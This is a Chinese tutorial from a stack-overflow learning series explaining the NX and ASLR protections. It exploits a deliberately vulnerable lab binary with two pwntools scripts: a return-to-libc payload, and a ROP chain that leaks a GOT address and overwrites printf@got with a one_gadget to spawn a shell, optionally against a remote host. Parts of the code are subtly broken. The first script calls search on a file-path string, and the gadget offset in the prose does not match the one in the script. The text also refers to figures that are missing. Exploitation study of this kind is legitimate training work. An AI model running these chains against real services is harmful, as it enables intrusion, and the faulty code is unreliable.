栈溢出学习(五)之NX,ASLR绕过方法,讲述NX,ASLR保护机制及其绕过方法
本文使用的代码如下
#include
#include
#include
/*
* compiled with:
* gcc -O0 -fno-stack-protector -no-pie -z execstack -m32 -g -o lab0 lab0.c
优化等级 关闭canary 关闭地址随机化 关闭NX 生成32位程序
*/
void shell()//backdoor
{
printf("You got it\n");
system("/bin/sh");
}
void hello(char* name)
{
char buf[20];
strcpy(buf,name);
puts("hello!!!");
printf("i am %s ",buf);
}
void main(int argc,char** argv)
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100];
puts("*****************************************");
puts("PWN,hello world!");
gets(buf);
hello(buf);
}
NX即"NO X",堆栈不可执行保护。开启NX后,程序的栈空间没有执行权限,通过这个保护,可以阻止return2shellcode
攻击,但是return2libc
,ROP
,Hijack GOT
等攻击方法依然有效,即:
return2shellcode
return2shellcode
均可在这里我们使用简单一些的return2libc
来绕过
程序编译选项为
gcc -O0 -fno-stack-protector -no-pie -m32 -g -o nxlab lab0.c
可以看到已开启NX
exp如下,原理参考 栈溢出学习(二)之 jmp esp & return2libc 即可
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2020-03-27 22:32:52
# @Author : Pz_mstr
# @Version : python3
# @use : exp for nx protect
from pwn import *
import sys
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
debug = True
binary = './nxlab'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'
bin = ELF(binary)
libc = ELF(libc_name)
if len(sys.argv) > 1:
# ip port
io = remote(sys.argv[1],int(sys.argv[2]))
else:
#io = process([binary],env={'LD_PRELOAD':libc_name})
io = process(binary)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
padding = b'a'*32
system_addr = bin.sym["system"]
bin_sh_addr = next(libc_name.search('/bin/sh\x00'))
payload = padding
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
ASLR,即地址随机化。启用该机制后,堆,栈、共享库映射
等线性区布局会被随机化,每次执行程序,这些区域的地址都与上次不同,增加了攻击者预测目的地址的难度。但是。他的问题在于,ASLR并不对所有模块和内存区进行随机化,比如GOT表的地址是不变的,那么我们可以分析出来他能够阻止的攻击方法和绕过方式
return2shellcode
,return2libc
return2libc
总的来说,绕过方法是hijack got
结合return2libc
完成。我们可以通过ropchain
来完成这一系列攻击
编译选项如下,同样的把NX保护也开启
gcc -O0 -fno-stack-protector -no-pie -m32 -g -o ASLRlab lab0.c
在管理员权限下,执行
echo 2 >/proc/sys/kernel/randomize_va_space
可以看到,ASLR和NX保护均已开启
绕过思路:
首先考虑绕过条件:
就这一个条件,显然我们需要的输出函数就是puts
,那么我们的栈空间可以这样布局
不过细心的读者会发现,其实上面的栈空间布局是错的,因为开启了ASLR,你没办法提前获取到/bin/sh
的地址,需要通过计算偏移求出,因此我们考虑使用one_gadget
一把梭。
one_gadget
的效果大概就是在libc中找到可以直接调用,能够产生system("/bin/sh")
效果的一个gadget,因此只要把对printf
函数真实地址的改写,改为one_gadget
地址即可。
pop_ret = 0x80483b9
3. 找一个one_gadget,可以一个一个试,这次选用的是0x5fbc5
4. 找libc中__libc_start_main
的地址,为0x00018540
这里解释一下为什么找的是__libc_start_main
,见下图是got表的布局。当我们使用puts(printf@got)
打印printf@got
的地址时,puts
函数会一直输出直到遇到’\0x0a’,因此会把printf
到__libc_start_main
的地址打印出来。
而我们exp
(见下方)中接受泄露地址的代码是这样写的:
io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])
因此接收到的就是__libc_start_main@got
,所以需要找libc中__libc_start_main
的地址
最终exp如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2020-03-27 22:32:52
# @Author : Pz_mstr
# @Version : python3
# @use : exp for ASLR protect
from pwn import *
import sys
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
debug = True
binary = './ASLRlab'
#libc_name = '/home/Pz_mstr/libc/libc2.23x86'
bin = ELF(binary)
#libc = ELF(libc_name)
if len(sys.argv) > 1:
# ip port
io = remote(sys.argv[1],int(sys.argv[2]))
else:
#io = process([binary],env={'LD_PRELOAD':libc_name})
io = process(binary)
if debug:
context.log_level = 'debug'
#gdb.attach(io)
#input()
io.recvuntil('world!\n')
padding = b'a'*32
puts_plt = bin.plt['puts']
gets_plt = bin.plt['gets']
printf_plt = bin.plt['printf']
printf_got = bin.got['printf']
pop_ret = 0x80483b9
one = 0x5f065
rop = padding
rop += p32(puts_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(gets_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(printf_plt)
io.sendline(rop)
io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])
print(libc_addr)
libc_base = libc_addr - 0x00018540
io.sendline(p32(libc_base+one))
io.interactive()
展示了两种分别绕过NX和ASLR的方法